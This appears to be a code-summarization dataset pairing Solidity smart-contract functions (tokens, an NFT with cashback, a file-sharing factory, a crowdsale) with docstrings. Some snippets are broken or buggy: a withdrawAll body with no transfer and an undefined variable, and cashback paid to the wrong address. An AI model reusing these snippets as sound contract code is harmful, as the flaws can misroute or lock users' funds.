allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts\token\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is BaseToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts\token\CappedToken.sol
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts\ZitKOIN.sol
contract ZitKOIN is CappedToken {
string public name = 'ZitKO.IN';
string public symbol = 'XZT';
uint256 public decimals = 18;
// 1 Billion
uint256 public maxSupply = 1000000000 * 10**decimals;
function ZitKOIN()
CappedToken(maxSupply) public {
}
// @dev Recover any mistakenly sent ERC20 tokens to the Token address
function recoverERC20Tokens(address _erc20, uint256 _amount) public onlyOwner {
ERC20Interface(_erc20).transfer(msg.sender, _amount);
}
} | Transfer tokens from one address to another _from address The address which you want to send tokens from _to address The address which you want to transfer to _value uint256 the amount of tokens to be transferred/ | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
| 1,516,041 |
pragma solidity 0.4.20;
contract SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {return 0;}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
if(_b > _a)throw;
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
if(c < _a)throw;
return c;
}
}
contract btoken is SafeMath{
string public name;
string public icon;
uint8 public decimals;
uint256 totalSupply;
address owner;
//map any address to a balance
mapping (bytes32 => uint256) public balances;
/*
* events
*/
event Transfer(bytes32 from, bytes32 to, uint value);
event newMint(uint value);
// only operate if the command comes from bridigette
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/*
* Constructor function
* @dev this is called by a software licensor who then becomes the owner
* @param name: the name of the product
* @param icon : icon url
* @param decimals : not used for bool tokens can be used for consumption
* @param initial supply : tokens at start, stored at owners addresses
* @param experation_date : date after which the entitlement will stop functioning.
*/
function btoken(string _name, string _icon, uint8 _decimals, uint256 _initialSupply) public {
balances[sha256("@DontPanicBurns#7712")] = _initialSupply;
totalSupply = _initialSupply;
name = _name;
icon = _icon;
decimals = _decimals;
owner = msg.sender;
}
/*
* Function that is called to mint new tokens
* @param value: how many coins to make
* @dev can only be called by the owner, sends minted tokens to the owner address
*/
function mint(uint value) public onlyOwner returns (bool success){
totalSupply = add(totalSupply, value);
balances[sha256("DontPanicBurns#7712")] = add(balances[sha256("DontPanicBurns#7712")], value);
newMint(value);
return true;
}
/*
* function called to burn tokens
* @param value : how many to burnNotice
* @param data : a byte string if a user wants to add some kind of hex message
function burns(uint _value, bytes _data) public returns (bool success){
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
totalSupply = sub(totalSupply, _value);
emit burnNotice(msg.sender, _value, _data);
return true;
}
*/
/* Function that is called when a user or another contract wants to transfer funds
* @param to : address to transfer a balance to
* @param value : how many units to send
* @dev only happens if msg sender has a balance and the entitlement is not expired
*/
function transfer(bytes32 _from, bytes32 _to, uint _value) public onlyOwner returns (bool success) {
return transferToAddress(_from, _to, _value);
}
/* function that is called when transaction target is an address
*
* @dev internal function
*/
function transferToAddress(bytes32 _from, bytes32 _to, uint _value) private returns (bool success) {
if (balanceOf(_from) < _value) throw;
balances[_from] = sub(balanceOf(_from), _value);
balances[_to] = add(balanceOf(_to), _value);
Transfer(_from, _to, _value);
return true;
}
/*
* getter: returns balance of an addresses
* @param owner: address that we want to know a balance of
*/
function balanceOf(bytes32 _owner) public view returns (uint balance) {
return balances[_owner];
}
}
| getter: returns balance of an addresses owner: address that we want to know a balance of/ | function balanceOf(bytes32 _owner) public view returns (uint balance) {
return balances[_owner];
}
| 5,451,624 |
pragma solidity ^0.4.25;
/// @title FileFactory
/// @notice Facilitates the creation and deployment of files
/// @dev Factory contract to deploy individual files uploaded by users
contract FileFactory {
/// @notice Stores the list of files deployed by an address
mapping(address => address[]) uploadedFiles;
/// @notice Stores the list of files shared by an address
mapping(address => address[]) sharedFiles;
/// @notice Stores the list of files shared with an address
mapping(address => address[]) recipientFiles;
/// @notice Stores the list of files archived by all users
address[] archivedFiles;
/// @notice List of Uploaders
mapping(address => bool) uploaders;
/// @notice List of Recipients
mapping(address => bool) recipients;
/// @dev To restrict execution of certain functions to the uploaders
modifier isUploader(address _from) {
require(uploaders[_from], "Sender is not the uploader");
_;
}
/// @notice Deploys a file contract to the blockchain
/// @dev Deploys a new contract which stores file details
/// @param _digest Hash function digest
/// @param _hashFunction Hash function code
/// @param _size Size of _digest in bytes
/// @param _fileHash sha3 hash of the uploaded file
function createFile(bytes32 _digest, uint8 _hashFunction, uint8 _size, bytes32 _fileHash) public {
address newFile = new File(_digest, _hashFunction, _size, _fileHash, this, msg.sender);
uploadedFiles[msg.sender].push(newFile);
uploaders[msg.sender] = true;
}
/// @notice Retrives the list of deployed files
/// @dev Retrives the list of files from mapping uploadedFiles based on msg.sender
/// @return An address array with deployed files
function getUploadedFiles() public view returns(address[]) {
return uploadedFiles[msg.sender];
}
/// @notice Shares a deployed file with a recipient
/// @dev Updates the sharedFiles, recipientFiles and recipients with passed data
/// @param _recipient The address of recipient the file is to be shared with
/// @param _file The address of the deployed file
/// @param _from The address of the uploader
function shareFile(address _recipient, address _file, address _from) public isUploader(_from){
sharedFiles[_from].push(_file);
recipientFiles[_recipient].push(_file);
recipients[_recipient] = true;
}
/// @notice Retrives the list of files shared with a particular recipient
/// @dev Retrives the array from mapping recipientFiles based on msg.sender
/// @return An address array with files shared with the user.
function getRecipientFiles() public view returns(address[]) {
return recipientFiles[msg.sender];
}
/// @notice Retrives the list of files shared by a particular user
/// @dev Retrives the array from mapping sharedFiles based on msg.sender
/// @return An address array with shared files
function getSharedFiles() public view returns(address[]) {
return sharedFiles[msg.sender];
}
/// @notice Stores the file's address archived by any user
/// @dev Adds the archieved file address to archivedFiles array
/// @param _file The address of the deployed file to be archived
/// @param _from the address of the uploader
function archiveFile(address _file, address _from) public isUploader(_from){
archivedFiles.push(_file);
}
/// @notice Retrives the list of archived files
/// @dev Retrives the array archivedFiles
/// @return The array archivedFiles
function getArchivedFiles() public view returns(address[]) {
return archivedFiles;
}
/// @notice Restores the previously archived file
/// @dev Deletes the specified entry from archiveFile array
/// @param _index The index of the file in archiveFile array
/// @param _from The address of the uploader
function restoreFile(uint _index, address _from) public isUploader(_from) {
removeByIndex(_index, archivedFiles);
}
/// @notice Unshare a previously shared file with a specific user
/// @dev Removes the file's address from sharedFiles and recipientFiles
/// @param _indexOwner The index of file in sharedFiles
/// @param _indexRecipient The index of file in recipientFiles
/// @param _recipient The address of recipient
/// @param _from the Address of uploader
function stopSharing(uint _indexOwner, uint _indexRecipient, address _recipient, address _from) public isUploader(_from) {
removeByIndex(_indexOwner, sharedFiles[_from]);
removeByIndex(_indexRecipient, recipientFiles[_recipient]);
}
/// @dev Function to delete element from an array
/// @param _index The index of element to be removed
/// @param _array The array containing the element
function removeByIndex(uint _index, address[] storage _array) internal {
_array[_index] = _array[_array.length - 1];
delete _array[_array.length - 1];
_array.length--;
}
}
/// @title File
/// @notice Stores the details of a deployed file
/// @dev The file contract deployed by factory for each uploaded file
contract File {
/// @notice The address of the uploader
address public manager;
/// @notice sha3 hash of the file
bytes32 sha3hash;
struct Multihash {
bytes32 digest;
uint8 hashFunction;
uint8 size;
}
/// @notice The address of the factory contract
FileFactory ff;
/// @notice The IPFS hash of the file
Multihash fileIpfsHash;
/// @notice List of recipients the file is shared with
address[] recipientsList;
/// @notice Stores the encrypted key's IPFS hash for each recipient
mapping(address => Multihash) keyLocation;
/// @dev To restrict execution of certain function to the owner of the file
modifier isOwner() {
require(msg.sender == manager, "Sender is not the owner");
_;
}
/// @notice Initializes the variables with values passed by the factory upon file creation
/// @dev The constructor calles upon file deployment
/// @param _digest Hash function digest
/// @param _hashFunction Hash function code
/// @param _size size of _digest in bytes
/// @param _fileHash sha3 hash of the file
/// @param _factory The address of the factory contract
/// @param _creator The address of the uploader
constructor(bytes32 _digest, uint8 _hashFunction, uint8 _size, bytes32 _fileHash, address _factory, address _creator) public {
fileIpfsHash = Multihash(_digest, _hashFunction, _size);
manager = _creator;
sha3hash = _fileHash;
ff = FileFactory(_factory);
}
/// @notice Returns the file's IPFS hash
/// @dev Returns the IPFS hash of the uploaded file in multihash format
/// @return The IPFS hash's digest, hashFunction and size
function getFileDetail() public view returns (bytes32, uint8, uint8){
return (fileIpfsHash.digest, fileIpfsHash.hashFunction, fileIpfsHash.size);
}
/// @notice Returns the file's sha3 hash
/// @dev Returns the file's sha3 hash
/// @return The sha3 hash of the uploaded file
function getFileSha3Hash() public view returns (bytes32) {
return sha3hash;
}
/// @notice Function to share an uploaded file
/// @dev Updates the recipientsList and keyLocation and calls the factory' shareFile()
/// @param _recipient The address of the recipient
/// @param _digest Hash function digest of the key
/// @param _hashFunction Hash function code
/// @param _size size of _digest in bytes
function shareFile(address _recipient, bytes32 _digest, uint8 _hashFunction, uint8 _size) public isOwner {
recipientsList.push(_recipient);
keyLocation[_recipient] = Multihash(_digest, _hashFunction, _size);
ff.shareFile(_recipient, this, msg.sender);
}
/// @notice Retrives the details of a shared file
/// @dev Returns the file and it's key specific to the recipient
/// @return The file IPFS hash and it's key IPFS hash
function getSharedFileDetail() public view returns (bytes32 , uint8 , uint8 , bytes32 , uint8 , uint8 ){
return (fileIpfsHash.digest, fileIpfsHash.hashFunction, fileIpfsHash.size, keyLocation[msg.sender].digest, keyLocation[msg.sender].hashFunction, keyLocation[msg.sender].size);
}
/// @notice Function to archive the file
/// @dev Calls the factory's archiveFile()
function archiveFile() public isOwner {
ff.archiveFile(this, msg.sender);
}
/// @notice Function to restore the file
/// @dev Calls the factory's restoreFile()
/// @param _index The index of the file in the archiveFiles array
function restoreFile(uint _index) public isOwner {
ff.restoreFile(_index, msg.sender);
}
/// @notice Retrives the list of recipient for a given file
/// @dev Returns the list of recipients
/// @return The recipientsList array
function getRecipientsList() public view returns(address[]) {
return recipientsList;
}
/// @notice Function to stop sharing a file
/// @dev Deletes the data from keyLocation and recipientsList and calls the factory's stopSharing()
/// @param _indexFactoryOwner The file's index in sharedFiles array for the respective uploader
/// @param _indexFactoryRecipient The file's index in recipientFiles array for the respective recipient
/// @param _indexFileRecipient The recipient's index in recipientsList array
/// @param _recipient The array of the recipient
function stopSharing(uint _indexFactoryOwner, uint _indexFactoryRecipient, uint _indexFileRecipient, address _recipient) public isOwner {
delete keyLocation[_recipient];
recipientsList[_indexFileRecipient] = recipientsList[recipientsList.length - 1];
delete recipientsList[recipientsList.length - 1];
recipientsList.length--;
ff.stopSharing(_indexFactoryOwner, _indexFactoryRecipient, _recipient, msg.sender);
}
}
| Retrives the list of deployed files Retrives the list of files from mapping uploadedFiles based on msg.sender return An address array with deployed files | function getUploadedFiles() public view returns(address[]) {
return uploadedFiles[msg.sender];
}
| 7,278,940 |
./full_match/1/0x7132c10A5fDeb8236Be65F451c1973E26E8515EF/sources/contracts/sugartown/SugartownOrasNFT.sol | function to withdraw all contract balance to target address ETH will be sent to/ | function withdrawAll(address to) public onlyOwner {
if (!success)
revert ETHTransferFailed();
}
| 3,072,430 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../token/ERC721/extensions/ERC721Enumerable.sol";
import "../token/ERC721/extensions/ERC721URIStorage.sol";
import "../access/AccessControlEnumerable.sol";
import "../token/ERC20/IERC20.sol";
contract Tatum721 is
ERC721Enumerable,
ERC721URIStorage,
AccessControlEnumerable
{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
// mapping cashback to addresses and their values
mapping(uint256 => address[]) private _cashbackRecipients;
mapping(uint256 => uint256[]) private _cashbackValues;
mapping(uint256 => address) private _customToken;
constructor(string memory name_, string memory symbol_)
ERC721(name_, symbol_)
{
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
/**
* @dev Function to mint tokens.
* @param to The address that will receive the minted tokens.
* @param tokenId The token id to mint.
* @param uri The token URI of the minted token.
* @return A boolean that indicates if the operation was successful.
*/
function mintWithTokenURI(
address to,
uint256 tokenId,
string memory uri
) public returns (bool) {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC721PresetMinterPauserAutoId: must have minter role to mint"
);
_mint(to, tokenId);
_setTokenURI(tokenId, uri);
return true;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return ERC721URIStorage.tokenURI(tokenId);
}
function tokenCashbackValues(uint256 tokenId)
public
view
virtual
returns (uint256[] memory)
{
return _cashbackValues[tokenId];
}
function tokenCashbackRecipients(uint256 tokenId)
public
view
virtual
returns (address[] memory)
{
return _cashbackRecipients[tokenId];
}
function allowance(address a, uint256 t) public view returns (bool) {
return _isApprovedOrOwner(a, t);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721, ERC721URIStorage)
{
return ERC721URIStorage._burn(tokenId);
}
function mintMultiple(
address[] memory to,
uint256[] memory tokenId,
string[] memory uri
) public returns (bool) {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC721PresetMinterPauserAutoId: must have minter role to mint"
);
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], tokenId[i]);
_setTokenURI(tokenId[i], uri[i]);
}
return true;
}
function updateCashbackForAuthor(uint256 tokenId, uint256 cashbackValue)
public
returns (bool)
{
for (uint256 i = 0; i < _cashbackValues[tokenId].length; i++) {
if (_cashbackRecipients[tokenId][i] == _msgSender()) {
_cashbackValues[tokenId][i] = cashbackValue;
return true;
}
}
return true;
}
function getCashbackAddress(uint256 tokenId)
public
view
virtual
returns (address)
{
return _customToken[tokenId];
}
function mintMultipleCashback(
address[] memory to,
uint256[] memory tokenId,
string[] memory uri,
address[][] memory recipientAddresses,
uint256[][] memory cashbackValues,
address erc20
) public returns (bool) {
require(
erc20 != address(0),
"Custom cashbacks cannot be set to 0 address"
);
for (uint256 i = 0; i < tokenId.length; i++) {
_customToken[tokenId[i]] = erc20;
}
return
mintMultipleCashback(
to,
tokenId,
uri,
recipientAddresses,
cashbackValues
);
}
function mintMultipleCashback(
address[] memory to,
uint256[] memory tokenId,
string[] memory uri,
address[][] memory recipientAddresses,
uint256[][] memory cashbackValues
) public returns (bool) {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC721PresetMinterPauserAutoId: must have minter role to mint"
);
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], tokenId[i]);
_setTokenURI(tokenId[i], uri[i]);
_cashbackRecipients[tokenId[i]] = recipientAddresses[i];
_cashbackValues[tokenId[i]] = cashbackValues[i];
}
return true;
}
function mintWithCashback(
address to,
uint256 tokenId,
string memory uri,
address[] memory recipientAddresses,
uint256[] memory cashbackValues,
address erc20
) public returns (bool) {
require(
erc20 != address(0),
"Custom cashbacks cannot be set to 0 address"
);
_customToken[tokenId] = erc20;
return
mintWithCashback(
to,
tokenId,
uri,
recipientAddresses,
cashbackValues
);
}
function mintWithCashback(
address to,
uint256 tokenId,
string memory uri,
address[] memory recipientAddresses,
uint256[] memory cashbackValues
) public returns (bool) {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC721PresetMinterPauserAutoId: must have minter role to mint"
);
_mint(to, tokenId);
_setTokenURI(tokenId, uri);
// saving cashback addresses and values
_cashbackRecipients[tokenId] = recipientAddresses;
_cashbackValues[tokenId] = cashbackValues;
return true;
}
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721Burnable: caller is not owner nor approved"
);
_burn(tokenId);
}
function safeTransfer(address to, uint256 tokenId) public payable {
address erc = _customToken[tokenId];
IERC20 token;
if (erc != address(0)) {
token = IERC20(erc);
}
if (_cashbackRecipients[tokenId].length != 0) {
// checking cashback addresses exists and sum of cashbacks
require(
_cashbackRecipients[tokenId].length != 0,
"CashbackToken should be of cashback type"
);
uint256 sum = 0;
for (uint256 i = 0; i < _cashbackValues[tokenId].length; i++) {
sum += _cashbackValues[tokenId][i];
}
if (erc == address(0)) {
if (sum > msg.value) {
payable(msg.sender).transfer(msg.value);
revert(
"Value should be greater than or equal to cashback value"
);
}
for (
uint256 i = 0;
i < _cashbackRecipients[tokenId].length;
i++
) {
// transferring cashback to authors
if (_cashbackValues[tokenId][i] > 0) {
payable(_cashbackRecipients[tokenId][i]).transfer(
_cashbackValues[tokenId][i]
);
}
}
if (msg.value > sum) {
payable(msg.sender).transfer(msg.value - sum);
}
} else {
if (sum > token.allowance(_msgSender(), address(this))) {
revert(
"Insufficient ERC20 allowance balance for paying for the asset."
);
}
for (
uint256 i = 0;
i < _cashbackRecipients[tokenId].length;
i++
) {
// transferring cashback to authors
if (_cashbackValues[tokenId][i] > 0) {
token.transferFrom(
_msgSender(),
to,
_cashbackValues[tokenId][i]
);
}
}
if (msg.value > 0) {
payable(_msgSender()).transfer(msg.value);
}
}
_safeTransfer(_msgSender(), to, tokenId, "");
} else {
if (msg.value > 0) {
payable(msg.sender).transfer(msg.value);
}
_safeTransfer(_msgSender(), to, tokenId, "");
}
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory bytesData
) public payable virtual override {
address erc = _customToken[tokenId];
IERC20 token;
if (erc != address(0)) {
token = IERC20(erc);
}
if (_cashbackRecipients[tokenId].length != 0) {
// checking cashback addresses exists and sum of cashbacks
require(
_cashbackRecipients[tokenId].length != 0,
"CashbackToken should be of cashback type"
);
uint256 sum = 0;
for (uint256 i = 0; i < _cashbackValues[tokenId].length; i++) {
sum += _cashbackValues[tokenId][i];
}
if (erc == address(0)) {
if (sum > msg.value) {
payable(from).transfer(msg.value);
revert(
"Value should be greater than or equal to cashback value"
);
}
for (
uint256 i = 0;
i < _cashbackRecipients[tokenId].length;
i++
) {
// transferring cashback to authors
if (_cashbackValues[tokenId][i] > 0) {
payable(_cashbackRecipients[tokenId][i]).transfer(
_cashbackValues[tokenId][i]
);
}
}
if (msg.value > sum) {
payable(from).transfer(msg.value - sum);
}
} else {
if (sum > token.allowance(to, address(this))) {
revert(
"Insufficient ERC20 allowance balance for paying for the asset."
);
}
for (
uint256 i = 0;
i < _cashbackRecipients[tokenId].length;
i++
) {
// transferring cashback to authors
if (_cashbackValues[tokenId][i] > 0) {
token.transferFrom(
to,
_cashbackRecipients[tokenId][i],
_cashbackValues[tokenId][i]
);
}
}
if (msg.value > 0) {
payable(msg.sender).transfer(msg.value);
}
}
_safeTransfer(from, to, tokenId, bytesData);
} else {
if (msg.value > 0) {
payable(from).transfer(msg.value);
}
_safeTransfer(from, to, tokenId, bytesData);
}
}
}
| saving cashback addresses and values | function mintWithCashback(
address to,
uint256 tokenId,
string memory uri,
address[] memory recipientAddresses,
uint256[] memory cashbackValues
) public returns (bool) {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC721PresetMinterPauserAutoId: must have minter role to mint"
);
_mint(to, tokenId);
_setTokenURI(tokenId, uri);
_cashbackRecipients[tokenId] = recipientAddresses;
_cashbackValues[tokenId] = cashbackValues;
return true;
}
| 1,822,600 |
./full_match/44787/0x17b75da97E7689ece5e62f99b477a4BBbf501210/sources/lib/mento-core-2.2.0/contracts/swap/BiPoolManager.sol | Determine if a exchange's buckets should be updated based on staleness of buckets and oracle rates. exchange The PoolExchange. return shouldUpdate/ | function shouldUpdateBuckets(PoolExchange memory exchange) internal view returns (bool) {
bool hasValidMedian = oracleHasValidMedian(exchange);
if (keccak256(abi.encodePacked(exchange.pricingModule.name())) == CONSTANT_SUM) {
require(hasValidMedian, "no valid median");
}
return timePassed && hasValidMedian;
}
| 13,258,556 |
./full_match/80001/0x37AdbCBa91AC155958F910685446f970632a60E6/sources/contracts/TMHC-Reborn-Stake.sol | Unstakes the specified team leaders and boosts for the caller. _leaderIds An array of IDs of the team leaders to be unstaked./ | function unStakeTeam(uint16[] calldata _leaderIds) external nonReentrant{
_unStakeTeam(_leaderIds);
}
| 840,342 |
./full_match/1/0x65Ab7AEd6C8bA2E35F75135C3039c0b5D944bc1A/sources/contracts/EthlinQStaking.sol | burn pool shares return tokens | function withdraw(uint256 _amount, address _receiver) external {
_burn(_msgSender(), _amount);
depositToken.safeTransfer(_receiver, _amount);
emit Withdrawn(_receiver, _msgSender(), _amount);
}
| 8,405,027 |
./full_match/1/0xeB280323B91d668984102637d3e6F8BE50E4C27e/sources/localhost/contracts/Bill/Bill.sol | Only allowed to the BillManager who created me | function addIssueAmount(uint256 _amount) external returns (bool isInitialIssue) {
require(msg.sender == managerAddress, "[CNHC] Manager required");
uint256 newIssueAmount = issuedAmount.add(_amount);
require(newIssueAmount <= billAmount, "[CNHC] Bill amount overflow warning");
if (issuedAmount == 0) {
initialIssueTime = now;
isInitialIssue = true;
}
issuedAmount = newIssueAmount;
}
| 8,334,392 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "../interfaces/erc20.sol";
/**
* Token
*
* ERC-20 implementation, with mint & burn
*/
contract Token is IERC20 {
address internal owner;
address internal pendingOwner;
address internal issuer;
uint8 public decimals;
uint256 public totalSupply;
uint256 internal maxSupply;
mapping (address => uint256) public override balanceOf;
mapping (address => mapping (address => uint256)) public override allowance;
string public name;
string public symbol;
event NewIssuer(address indexed issuer);
event TransferOwnership(address indexed owner, bool indexed confirmed);
modifier only(address role) {
require(msg.sender == role); // dev: missing role
_;
}
/**
* Sets the token fields: name, symbol and decimals
*
* @param tokenName Name of the token
* @param tokenSymbol Token Symbol
* @param tokenDecimals Decimal places
* @param tokenOwner Token Owner
* @param tokenIssuer Token Issuer
* @param tokenMaxSupply Max total supply
*/
constructor(string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals, address tokenOwner, address tokenIssuer, uint256 tokenMaxSupply) {
require(tokenOwner != address(0)); // dev: invalid owner
require(tokenIssuer != address(0)); // dev: invalid issuer
require(tokenMaxSupply > 0); // dev: invalid max supply
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
owner = tokenOwner;
issuer = tokenIssuer;
maxSupply = tokenMaxSupply;
}
/**
* Sets the owner
*
* @param newOwner Address of the new owner (must be confirmed by the new owner)
*/
function transferOwnership(address newOwner)
external
only(owner) {
pendingOwner = newOwner;
emit TransferOwnership(pendingOwner, false);
}
/**
* Confirms the new owner
*/
function confirmOwnership()
external
only(pendingOwner) {
owner = pendingOwner;
pendingOwner = address(0);
emit TransferOwnership(owner, true);
}
/**
* Sets the issuer
*
* @param newIssuer Address of the issuer
*/
function setIssuer(address newIssuer)
external
only(owner) {
issuer = newIssuer;
emit NewIssuer(issuer);
}
/**
* Mints {value} tokens to the {to} wallet.
*
* @param to The address receiving the newly minted tokens
* @param value The number of tokens to mint
*/
function mint(address to, uint256 value)
external
only(issuer) {
require(to != address(0)); // dev: requires non-zero address
require(totalSupply + value <= maxSupply); // dev: exceeds max supply
unchecked {
totalSupply += value;
balanceOf[to] += value;
}
emit Transfer(address(0), to, value);
}
/**
* Approves the {spender} to transfer {value} tokens of the caller.
*
* @param spender The address which will spend the funds
* @param value The value approved to be spent by the spender
* @return A boolean that indicates if the operation was successful
*/
function approve(address spender, uint256 value)
external
override
returns(bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* Transfers {value} tokens from the caller, to {to}
*
* @param to The address to transfer tokens to
* @param value The number of tokens to be transferred
* @return A boolean that indicates if the operation was successful
*/
function transfer(address to, uint256 value)
external
override
returns (bool) {
updateBalance(msg.sender, to, value);
return true;
}
/**
* Transfers {value} tokens of {from} to {to}, on behalf of the caller.
*
* @param from The address to transfer tokens from
* @param to The address to transfer tokens to
* @param value The number of tokens to be transferred
* @return A boolean that indicates if the operation was successful
*/
function transferFrom(address from, address to, uint256 value)
external
override
returns (bool) {
require(allowance[from][msg.sender] >= value); // dev: exceeds allowance
updateBalance(from, to, value);
unchecked {
allowance[from][msg.sender] -= value;
}
return true;
}
function updateBalance(address from, address to, uint256 value)
internal {
require(to != address(0)); // dev: requires non-zero address
require(balanceOf[from] >= value); // dev: exceeds balance
unchecked {
balanceOf[from] -= value;
balanceOf[to] += value;
}
emit Transfer(from, to, value);
}
}
| Sets the owner newOwner Address of the new owner (must be confirmed by the new owner)/ | function transferOwnership(address newOwner)
external
only(owner) {
pendingOwner = newOwner;
emit TransferOwnership(pendingOwner, false);
}
| 13,118,938 |
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
pragma abicoder v2; // solhint-disable-line
import "@openzeppelin/contracts/utils/Pausable.sol";
import "./CappedTokenSoldCrowdsaleHelper.sol";
import "./FinaWhitelistCrowdsaleHelper.sol";
import "./HoldErc20TokenCrowdsaleHelper.sol";
import "./NoDeliveryCrowdsale.sol";
import "./TimedCrowdsaleHelper.sol";
import "./interfaces/IFinaCrowdsale.sol";
/**
* @title FinaCrowdsale
* @author Enjinstarter
* @dev Defina "FINA" Crowdsale where there is no delivery of tokens in each purchase.
*/
contract FinaCrowdsale is
NoDeliveryCrowdsale,
CappedTokenSoldCrowdsaleHelper,
HoldErc20TokenCrowdsaleHelper,
TimedCrowdsaleHelper,
FinaWhitelistCrowdsaleHelper,
Pausable,
IFinaCrowdsale
{
using SafeMath for uint256;
// https://github.com/crytic/slither/wiki/Detector-Documentation#too-many-digits
// slither-disable-next-line too-many-digits
address public constant DEAD_ADDRESS =
0x000000000000000000000000000000000000dEaD;
struct FinaCrowdsaleInfo {
uint256 tokenCap;
address whitelistContract;
address tokenHold;
uint256 minTokenHoldAmount;
}
address public governanceAccount;
address public crowdsaleAdmin;
// max 1 lot
constructor(
address wallet_,
FinaCrowdsaleInfo memory crowdsaleInfo,
LotsInfo memory lotsInfo,
Timeframe memory timeframe,
PaymentTokenInfo[] memory paymentTokensInfo
)
Crowdsale(wallet_, DEAD_ADDRESS, lotsInfo, paymentTokensInfo)
CappedTokenSoldCrowdsaleHelper(crowdsaleInfo.tokenCap)
HoldErc20TokenCrowdsaleHelper(
crowdsaleInfo.tokenHold,
crowdsaleInfo.minTokenHoldAmount
)
TimedCrowdsaleHelper(timeframe)
FinaWhitelistCrowdsaleHelper(crowdsaleInfo.whitelistContract)
{
governanceAccount = msg.sender;
crowdsaleAdmin = msg.sender;
}
modifier onlyBy(address account) {
require(msg.sender == account, "FinaCrowdsale: sender unauthorized");
_;
}
/**
* @return availableLots Available number of lots for beneficiary
*/
function getAvailableLotsFor(address beneficiary)
external
view
override
returns (uint256 availableLots)
{
if (!whitelisted(beneficiary)) {
return 0;
}
availableLots = _getAvailableTokensFor(beneficiary).div(
getBeneficiaryCap(beneficiary)
);
}
/**
* @return remainingTokens Remaining number of tokens for crowdsale
*/
function getRemainingTokens()
external
view
override
returns (uint256 remainingTokens)
{
remainingTokens = tokenCap().sub(tokensSold);
}
function pause() external override onlyBy(crowdsaleAdmin) {
_pause();
}
function unpause() external override onlyBy(crowdsaleAdmin) {
_unpause();
}
function extendTime(uint256 newClosingTime)
external
override
onlyBy(crowdsaleAdmin)
{
_extendTime(newClosingTime);
}
function setGovernanceAccount(address account)
external
override
onlyBy(governanceAccount)
{
require(account != address(0), "FinaCrowdsale: zero account");
